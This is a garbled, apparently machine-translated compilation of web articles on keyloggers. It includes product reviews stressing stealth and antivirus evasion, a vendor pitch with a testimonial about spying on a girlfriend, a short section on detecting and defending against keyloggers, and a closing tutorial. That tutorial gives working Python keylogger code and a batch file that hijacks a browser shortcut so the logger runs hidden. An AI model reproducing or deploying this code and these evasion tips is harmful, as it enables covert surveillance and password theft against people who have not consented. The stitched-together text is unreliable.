Keyboard log. Need a keylogger? Mipko Personal Monitor and antiviruses

A keylogger is not some kind of weapon for hackers or a kind of control tool for all kinds of secret organizations, but is a standard means of ensuring personal security that is required by almost every citizen. Such software is especially necessary if several people have access to its device.

However, over time, the demand for such utilities has increased so much that a variety of companies began to develop them, and not every keylogger is suitable in certain situations. It is for this reason that it is best to determine in advance what features and advantages each individual program has.

SC-KeyLog

This is a keylogger that completely records all keys pressed, while carefully encrypting the data it records. Among other things, it is worth considering that the program provides the ability to remotely view logs.

Like any similar program, this utility records texts of any type of email, as well as messages in various devices. The program also records all kinds of changes in text files, data that a person enters on web pages, mouse clicks, names of windows that open, the time of launching and closing of various programs. It is worth noting that this software also saves typed user passwords and many other elements.

Functional

You can enter the correct settings using the Wizard, which will immediately flash before your eyes after the program is installed on your hard drive.

It is worth noting that the utility is quite actively detected by almost any antivirus program, so you should not think that you will be able to use it secretly.

Ardamax Keylogger

The size of the program is quite standard for utilities of this class and is 392 kb. The utility itself is a completely average and at the same time easy-to-use keylogger. The program automatically tracks and permanently stores keystrokes from the keyboard, simultaneously indicating the time, the name of the program in which the data was entered, as well as the window title. It is worth noting that the software can work completely invisibly, as it has secrecy functions: files, automatic downloads, task manager and many others. If invisible work is required, the system is launched and controlled with hot keys, and logs can simply be sent to a specific email account or server.

How is it determined?

In this case, antivirus programs do not work so actively, so it is quite possible to use such a program secretly. The interface is extremely accessible and understandable. The only negative is that the program is paid and quite expensive.

Actual Spy

In addition to the capabilities that any keylogger for Android and other operating systems provides you, this utility also has a lot of additional options. The most interesting among all is the ability to take screenshots from the screen at a certain period of time, thanks to which you can detect a graphical password, all sorts of graphical access restrictions to certain Internet services used by the target of tracking, as well as many other interesting points.

In addition, it should be noted that the program is distinguished by a number of other special functions, such as:

  • Recording the start and close times of programs.
  • Distinguishing the case of the keys pressed.
  • Monitoring the contents of the clipboard.
  • Control over the operation of printers.
  • Computer file system monitoring.
  • Interception of visited sites.
  • Much more.

The log files of this utility are encrypted, after which the report is generated in a fairly convenient html format or It also provides the ability to send it to a specific email box, server, or computer via a local network. You can also set your own password to view logs.

Everything in moderation

For ease of use, a separate limit is set on the size of text logs or screenshots, since the latter take up much more memory compared to a text file. Among other things, you can set a limit on the volume. If too much information is copied there, only the part that was specified will be remembered.

Probably the best keylogger among all those offered today.

Convenience and safety

First of all, it is worth noting that this program is the most voluminous among all that can be found on the Internet today, but in fact, only in the description everything looks scary, in reality, the keylogger for Android has a volume of only 1.51 MB. Special attention should be paid to the fact that its domestic manufacturers produce it, so understanding it is not as difficult as it might seem at first glance.

Antivirus programs happily ignore the fact that such a utility appears on the system, although some of them may signal that certain running processes are suspicious.

EliteKeylogger

“Elite Keylogger” is a completely standard utility that perfectly implements a standard set of functions. Sites visited, email messages, keystrokes, activation and shutdown times of various programs, passwords - all this is carefully recorded and stored in the utility logs, after which its owner can carefully examine the contents. In addition, this program carefully monitors documents sent by the user for self-printing.

This keylogger is famous among users for the fact that antivirus programs practically do not detect either the program itself or any processes that it carries out. In this case, it is not necessary to first launch this utility; it can be automatically activated along with the operating system, and even starts a little earlier in order to determine the login and password that are entered during the Windows boot process. It’s worth noting right away that the program cannot be uninstalled if the user does not know the specialized password for the utility administrator. It is also impossible not to say that this keylogger is in Russian, it is impossible to find it, since it is not displayed in the tray, does not display any windows and, in principle, does nothing that could reveal its work.

The program detects and also demonstrates pressing not only any standard keys, numbers and letters. In addition, presses of service keys such as Shift, Alt, Ctrl, and many others are monitored. It is worth noting that the utility examines in sufficient detail all operations in the browser, that is, it records the links that the user enters into the browser, tracks on which specific pages various fields and forms were filled out, and also remembers headers and clicked links in browsers.

Features and Security

It’s worth saying right away that the utility is distinguished by a huge number of different nuances and features. When installing, you should pay attention to what exactly you are installing - a hidden installation or the utility itself, because then you can suffer for a very long time trying to uninstall it. The utility itself is distinguished by an incredibly large number of various settings, so you will have to understand it in detail.

For example, you can configure the screen capture mode so that the utility automatically takes high-quality pictures at certain time intervals or during certain events. This is a particularly convenient feature because it makes the program highly effective in most situations. It is worth noting that you can set up a fully automatic screen capture in the same way as with standard security cameras, and if no action occurs, screen saving will temporarily stop and no takes will be made. Thus, you will not encounter a situation where, looking at the log, you will need to look through a huge number of pictures in search of something that might interest you.

It is worth noting that the use of this program cannot detect even the majority of utilities that are commonly called anti-keyloggers, not to mention antivirus programs.

Fully automatic deletion of obsolete files once the log exceeds a certain point. If necessary, you can customize everything to your own discretion and needs, and also, for example, indicate that cleaning can be carried out only after a full report has been generated, which will be sent by email. Reports can also be sent via FTP or saved in a network environment.

The Rat

The program is written in standard assembly language, so this keylogger for Windows takes up only 13 KB. However, despite its size, the program can automatically monitor keystrokes in various password windows or the console, monitors the clipboard, and also has a huge number of other standard functions.

The utility is equipped with a specialized file binder, which allows you to almost completely eliminate the possibility of detecting source files by signatures. There is also its own text editor, which allows you to conveniently work with dump files, solving the problem of converting to Cyrillic or cleaning from all kinds of “garbage”.

In fact, when we activate a certain version of this program on our computer, we see an application that configures the operation of the utility. The result of this customizer is an executable file - a multifunctional keylogger (Windows 7). Passwords and other text data that the user enters are saved to the log completely automatically, and even after the system is rebooted, the utility will continue to work. You can remove it from your computer only with the help of a specialized customizer-configurator, as well as hot keys.

Can antivirus programs detect it?

The developer stated that this keylogger in Russian is completely invisible to antivirus programs and special programs that monitor such “keyloggers.” Most antivirus programs are completely indifferent to the full version, but a free program is detected almost immediately. The keylogger also offers a lot of settings, but viewing the log normally is not as easy as it might seem at first glance.

Of course, the functionality is far behind any serious utilities. However, if you need a keylogger on your computer just for reference, then this utility is perfect.

Feature #1: Stealth

One of the main features of Mipko Personal Monitor is absolute invisibility during operation. The program works like invisible. And even an experienced user will not detect it.

In this case, the keylogger records any user actions on the computer. For example, communication on icq. You receive the relevant reports by email. In this case, reports are sent directly, bypassing our or any other intermediate servers.

Additionally, all information is stored on the computer's hard drive. True, it is “buried” very deeply and only you know the exact path to the folder you need. Moreover, all reports are stored in encrypted form and can only be viewed through Mipko Personal Monitor.

How much hard drive space do these reports take up? As much as you think is necessary. You set the appropriate limit in the program settings and the limit is exhausted, the keylogger simply erases old reports, recording new ones instead.

I didn’t have any interesting stories related to the program, but it helps me find passwords that were entered long ago in the history, and I recently restored access to the resource (I forgot my login). A very useful program, excellent development, you don’t see this very often, and you also have excellent technical support!

Feature No. 2: simple and intuitive interface


Another feature of Mipko Personal Monitor is its extremely simple interface. After all, we created this program specifically for home users.

We understand that you don't have to be computer savvy. You may have a superficial attitude about such programs. Therefore, our program does not have unnecessary functions that are not needed at home. There is no complex multi-step setup that takes an hour or two even for an experienced system administrator.

Therefore, keylogger Mipko Personal Monitor has an extremely simple interface. It, like the iPhone, is so simple and understandable that absolutely anyone can understand it - from a schoolchild to your grandmother. At the same time, the interface of Mipko Personal Monitor is 100% Russian-language, as is technical support.

I use your program to monitor my child. The child learned to erase history in the browser and was very surprised that everything remained. At the moment, the reviews are only positive.

Priuchin S.L.

Feature No. 3: friendship with antiviruses


Keylogger Mipko Personal Monitor is an observer program. It does not store any personal data of users. Doesn't steal them. She only monitors what is happening on the computer and reports it to the owner.

Moreover, only an administrator who has the appropriate password can install this software. This is an additional argument that makes keylogger an absolutely legally installed program.

Therefore, it is not legally a spyware or other application that qualifies as malicious. So Personal Monitor works well with antiviruses and goes unnoticed in 95% of cases.

What to do in the remaining 5% of cases? If you encounter Personal Monitor being blocked by your antivirus or have problems with installation, just call or write to us. And we will send you detailed step-by-step instructions on how to resolve this situation.

A long time ago, when I was still working as an administrator, I used your cracked program to track the work of company employees. I really liked the simple use and interface :) A few years later, I bought a single-user program to... spy on my girlfriend! She got caught cheating, and in the end this program made me a happy bachelor;)

Do you already have these questions?

  • How to deal with the safety of personal data?

Mipko Personal Monitor does not collect personal data and, moreover, does not send it to us. All information is stored on your computer and sent to you by email. In this case, all letters are sent directly, bypassing our servers.

  • I'm on your own computer, can I install Mipko Personal Monitor?

How to look for keyloggers

No matter how cunning keyloggers are, they can still be detected. There are several ways.

  • Search by signatures

This method allows you to accurately determine the presence of keyloggers; the correct choice of signatures can reduce the likelihood of an error to zero. But a signature scanner is capable of detecting objects that are already known and described in its database, so this requires that the database be large and constantly updated.


  • Heuristic algorithms

This method finds a keylogger based on its characteristic features and allows you to detect standard keyboard traps. Research has shown that hundreds of benign, non-keylogger programs set traps to track your mouse and keyboard input. For example, the well-known Punto Switcher program, software for multimedia keyboards and mice.

  • Monitoring API functions used by spies

The method is based on intercepting a number of functions used by keyloggers, such as SetWindowsHookEx, UnhookWindowsHookEx, GetAsyncKeyState, GetKeyboardState.

Tracking drivers, processes, services used by the system

The method is suitable not only for tracking keyloggers. The simplest use case is to use a program like Kaspersky Inspector, which monitors the appearance of new files in the system.

How to protect yourself from keyloggers

Often, known keyloggers have already been added to the database, and therefore the protection method is the same as against any malicious software:

  • Installing an antivirus product;
  • Maintaining an up-to-date database.

It is worth noting that most antivirus programs classify keyloggers as potentially dangerous software, and here it is necessary to clarify that in the default settings the antivirus product detects the presence of this type of program. If not, then you should make the settings manually to protect yourself from most common spyware.

In general, since keyloggers are aimed at spying on confidential data, you should resort to the following security methods:

Use of one-time passwords/two-factor authentication

Using proactive defense systems, which allows you to warn the user about the installation/activation of keylogger programs

Using the virtual keyboard, which represents the keyboard on the screen as an image, allows you to protect yourself from both software and hardware spies.

Finding and removing keyloggers

What are the ways to protect yourself from this evil spirit?

  • Any antivirus program
  • Utilities with signature and heuristic search mechanisms (for example, AVZ).
  • Utilities and programs aimed at detecting keyloggers and blocking their work. This method of protection is the most effective, since this software, as a rule, blocks almost all types of keyloggers.

It is worth noting that software aimed at catching keyloggers has two features: software of this kind is mostly paid and the Russian language is rarely present.

For example, the English-language free software Advanced Spyware Remover gets rid of adware, callers, spyware, keyloggers, etc.

The installation is standard, you should click “Next”, it’s difficult to make a mistake. After installation, you are prompted to run the program. To scan, click “Scan Now”.

However, it is worth noting that the program has not been updated for 3 years.

In general, this program checks the system registry for the presence of malware keys in it. The utility has some functionality, thereby allowing you to display a list of loaded programs when the operating system starts (“HiJack Scan→Startup“), display a list of services, show active ports, view Internet Explorer cookies, etc. After scanning, a similar window will appear:

If you pay attention to something fresher, you can use Spyware Terminator 2012 (though not for free). The utility is capable of detecting and removing almost all types of malware. The built-in security system activates application and system protection and monitors utilities that directly interact with the network.

  • clipboard interception,
  • intercepting keystrokes,
  • intercepting text from windows

and much more. Anti-keylogger does not use signature databases, as it is based only on heuristic algorithms. Anti-keylogger is able to protect against targeted attacks, which are very dangerous and popular among cybercriminals. It is especially effective in the fight against keyloggers based on the use of traps, cyclic polling and a keyboard filter driver.

Anti-keylogger has a free option, limited by time of use - 10 working sessions, each lasting 2 hours, which is quite enough to check your PC at a time.

So, what do we have:

  1. Keyloggers are marketed as legitimate software, but many of them can be used to steal users' personal information.
  2. Today, keyloggers, along with phishing, etc., have become one of the main methods of electronic fraud.
  3. There has been an increase in the number of malware with keylogger functionality.
  4. Distribution of software keyloggers based on rootkit technologies, which makes them invisible to the user and anti-virus scanners.
  5. Detecting espionage using keyloggers requires the use of specialized security tools.
  6. The need for multi-level protection (anti-virus products with the function of detecting dangerous software, proactive protection tools, virtual keyboard).

Keylogger or what is a keylogger.

A keylogger is a small piece of equipment or program whose purpose is one thing: to intercept the characters typed from the keyboard by the victim. One of the most unpleasant programs for the user, which is used by hackers to fake the digital identity of a bona fide user.

Based on the use of special equipment, a keylogger (like the one on the left - in the section of the keyboard wire) is rarely used and requires professional skills in installation and maintenance. On the contrary, it is not so difficult to detect, and therefore we will talk about it some other time. And now I’ll tell you about interceptors in the form of software that can “work” in your system for a long time, and you won’t even know about it. We’ll talk about how to determine whether a keylogger is running on a computer at the end of the article. Let's get down to what's on the internet today on this topic. As expected, there is a lot of this goodness on the Internet. There are free programs, and there are paid versions.

What is a keylogger for?

The specifics of the program leave no shadow of doubt on the use of such utilities: it allows you to spy on the user by transmitting characters typed on the keyboard. Another question: by whom and against whom?

  • It is quite understandable that parents care about their children traveling on the Internet, whose online activities begin to bother the father and mother, who, however, do not want to openly come into conflict with the child, prohibiting everything and everyone. More than once, such utilities simply help out, signaling the appearance of a friend on a child’s social network who is “a little” older and is about to realize his sick fantasies.
  • It is quite a legitimate desire of the employer when he wants to make sure that the employee spends his time at the computer usefully. And, if it is not so, present the claim with evidence. At the same time, make sure that a couple of secrets did not “go to the side.”
  • finally, illegal connection to the user’s computer with the aim of stealing typed passwords, logins, etc.

Keylogger Free keylogger.

Can intercept characters from the keyboard, data contained in the clipboard and network addresses from the browser address bar. There are a couple of inconspicuous functions, for example, a hidden operating mode (Ctrl+Shift+Alt+U), removing program shortcuts and hiding from the list of installed and uninstalled programs. Disadvantage of the program: in its free version, the most important function - hiding from the user's eyes - cannot be enabled. Autorun in Windows is possible, but the running program will blink treacherously from the tray. You can’t hide it from view - a window pops up notifying you that the function is available in the paid version. As are some others.

The only program window where:

  1. Allows the program to start immediately when the system starts
  2. Hide the program in the menu Start
  3. It will also allow you to intercept addresses in the browser and (to the right) the names of running programs
  4. We will notify you daily at the postal address specified in the field.

During installation, you will have to fight with the antivirus for several minutes, because neither the setup nor the launch of the utility will escape it.

Keylogger DanuSoft

Simple and free. Also presented as a window with 4 tabs. Can hide by entering a secret word. The default is HIDEKEY, and you can force SHOWKEY to appear.

In the Log File Settings tab, you can specify the size of the document with intercepted records and, in fact, show the document itself. There are only 2 settings in the Startup Settings tab: launch with Windows and stealth mode.

Keylogger

Another simple program. After installation, you will be greeted by a colorful window. The functionality is poor, it doesn’t hide itself. But it's free. Immediately after installation, it will ask you to set a password so that the information, after interception, becomes available only to the installer:

The program window:

Keylogger REFOG Free Keylogger

The free version of the program, the manufacturer of which is quite experienced in such programs, is capable of intercepting characters typed, sites visited, and programs launched. However, I’ll warn you right away – quite a number of users have had difficulties uninstalling the program, especially the paid version, so try it at your own peril and risk. From this link you can download the latest version of the program.

Keylogger Revealer Keylogger Free

One of the most popular programs on the network. Lots of functions, easy to use. It is password protected, does not hang in the system tray, and is not visible in the settings for installing and removing programs. You should install it carefully, as some other program is asked to be installed on your computer. Screenshots will only be available in the paid version. When closed, it will warn you that it will continue to work in the background (you can return it using Ctrl+Alt+F9). The program is Russified, so you can quickly figure out the settings:

Keylogger KidLogger

Free, open source. It already knows how to work with USB devices. Records audio from a microphone and works with Skype. Log files can be viewed locally and remotely using a specially created online account. It works in hidden mode, but can be seen from the Task Manager. You can protect it with a password, but you will have to launch it from a shortcut, which in principle is not a problem, by registering the launch in Windows startup. You can download it from the link and select the desired operating system there (I have the Windows version in the archive):

Keylogger Actual Keylogger

Unlike previous programs, it is completely invisible. It cannot be seen in the Manager either; the folder with the program will be hidden, the shortcuts will not be displayed. You also cannot remove it using a traditional uninstaller. A very tricky thing. Also has password protection. Antiviruses don't like it very much. I have it in my archives. But the program is paid, install and check out the features.

Hello, QUAZAR is here again. Today I will show you how to create a simple keylogger in Python. Of course, this keylogger cannot compete with such giants as, but despite this, it can find its use.

What is a keylogger?

You can read in detail about what a keylogger is and about the types of keyloggers in the article ““. To find additional materials on the topic, use the site search, which is located in the upper right corner. Just enter the word "keylogger" or "keylogger".

Simple keylogger in Python

To create a keylogger we need:

  • Operating system: Windows or MacOs (any Linux can also be used, but I haven't tried it personally)
  • Python installed on the target machine, as well as special libraries.

This material is for informational purposes only. The information presented in this article is provided for informational purposes only. Neither the editors of the website www.site nor the author of the publication bear any responsibility for any harm caused by the material in this article.

Creating a simple keylogger in Python

First you need to download and install Python.


Simple keylogger in Python

After installing Python, you need to install the "pyHook" and "pywin32" modules. On this site you will find 32 and 64 bit versions for Windows and other OSes. Download "PYhook" and "pyWin32" according to your installed version of Python and Windows (32bit or 64bit).


Keylogger in Python. PYhook module
Keylogger in Python. pyWin32 module

Once downloaded, install and open IDLE (Python GUI) menu from the Start menu.

Simple keylogger in Python

Go to the “File” menu and click on the “New File” item. Then paste the keylogger code:

#Name: QUAZAR
#Website: www.site
import pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

And save it by calling the file Keylogger.pyw. Just don't save the file in the root directory C: where you need administrator rights to copy and delete files. Create a new folder on your C: drive or some other location where you don't need administrator rights to copy files and save Keylogger.pyw there.

You can select any location as the output report file “file_log = “C:keyloggerlog.txt”, but preferably, of course, some hidden location on your hard drive. In this example, I will save the report file to disk in the root directory C:. After all, I have nothing to hide.

Automatic launch of a keylogger in Python

The keylogger is ready. Now we need to make sure that the keylogger starts hidden from the user and automatically when Windows boots. This can be implemented in different ways. Let's try to do it using a bat file by linking the launch of the keylogger to some program or by registering it in startup.

First, create a bat file. Copy and paste the following code into Notepad:

::Name: QUAZAR
::Website: www.site
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

In the first line you need to enter the path to the keylogger.pyw file (in my case “C:keylogger.pyw”). In the second line, you must enter the path to the program that the user usually uses (in my case, the Opera browser).

After editing, save the file with a .bat extension (in my case logger.bat) in some hidden location on your computer (in my case in “C:keylogger.bat”).

Now go to the desktop and select a shortcut for a frequently used program (in my case, this is the Opera browser). Right-click the mouse to call up the context menu and go to the shortcut properties. In the “Object” field, enter the path to the keylogger bat file “C:keyloggerlogger.bat”.

After making changes, the shortcut icon will also change. But this can be easily solved on the properties tab (see screenshot above).
